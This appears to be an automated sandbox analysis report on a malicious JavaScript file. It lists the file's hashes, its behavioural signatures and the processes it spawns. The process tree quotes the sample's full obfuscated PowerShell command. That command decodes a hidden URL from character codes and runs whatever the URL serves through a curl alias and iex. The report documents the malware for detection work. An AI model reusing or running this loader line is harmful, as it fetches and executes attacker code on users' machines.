Analysis
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max time kernel
95s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
02-10-2024 01:25
Static task
static1
Behavioral task
behavioral1
Sample
8f749a8cd01566864555b1f13009b9bc95b897d8403b1aa0714f734e2815ee0b.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
8f749a8cd01566864555b1f13009b9bc95b897d8403b1aa0714f734e2815ee0b.js
Resource
win10v2004-20240802-en
General
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Target
8f749a8cd01566864555b1f13009b9bc95b897d8403b1aa0714f734e2815ee0b.js
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Size
158KB
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MD5
5f7b4c82ffd6c93d49f95baff8316bb1
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SHA1
73cf19f5557cd02da8c27a090f17ca84943c772e
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SHA256
8f749a8cd01566864555b1f13009b9bc95b897d8403b1aa0714f734e2815ee0b
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SHA512
9b12927f31554f69c5044688aa8932da0581c195b58c4efd6116799800446444821bbbc1614c8ede698fc65a10d81de05e9b84c2172c1891132596040ce19cbf
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SSDEEP
3072:a5UpyaaAND6gkXIwHO6Q+EPQo2Yb5MInsCBQ6LHvWQqacDXPl:NIYTPv2YSInsCB1fJYfl
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4044 2132 conhost.exe 82 -
Blocklisted process makes network request 2 IoCs
flow pid Process 7 536 powershell.exe 12 536 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 536 powershell.exe 536 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 536 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4044 wrote to memory of 536 4044 conhost.exe 84 PID 4044 wrote to memory of 536 4044 conhost.exe 84
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\8f749a8cd01566864555b1f13009b9bc95b897d8403b1aa0714f734e2815ee0b.js1⤵PID:1228
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C:\Windows\system32\conhost.execonhost --headless powershell $jeznwrn='ur';new-alias press c$($jeznwrn)l;$lmdyix=(7026,7028,7045,7035,7041,7034,7041,7040,7037,6969,7039,7034,7035,6970,6972,6969,7035,7027,7035,6986,7038,6984,7032,7028,7033,7039,7038,6972,6974);$ewokxkvdgw=('bronx','get-cmdlet');$gxtkgx=$lmdyix;foreach($urptpiufhyow in $gxtkgx){$shgfmca=$urptpiufhyow;$qolmcng=$qolmcng+[char]($shgfmca-6923);$benngetwirjk=$qolmcng;$pqrokowrzrg=$benngetwirjk};$usuigcfhqp[2]=$pqrokowrzrg;$dnyedgp='rl';$feabzsmqgejk=1;.$([char](9992-9887)+'e'+'x')(press -useb $pqrokowrzrg)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $jeznwrn='ur';new-alias press c$($jeznwrn)l;$lmdyix=(7026,7028,7045,7035,7041,7034,7041,7040,7037,6969,7039,7034,7035,6970,6972,6969,7035,7027,7035,6986,7038,6984,7032,7028,7033,7039,7038,6972,6974);$ewokxkvdgw=('bronx','get-cmdlet');$gxtkgx=$lmdyix;foreach($urptpiufhyow in $gxtkgx){$shgfmca=$urptpiufhyow;$qolmcng=$qolmcng+[char]($shgfmca-6923);$benngetwirjk=$qolmcng;$pqrokowrzrg=$benngetwirjk};$usuigcfhqp[2]=$pqrokowrzrg;$dnyedgp='rl';$feabzsmqgejk=1;.$([char](9992-9887)+'e'+'x')(press -useb $pqrokowrzrg)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:536
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82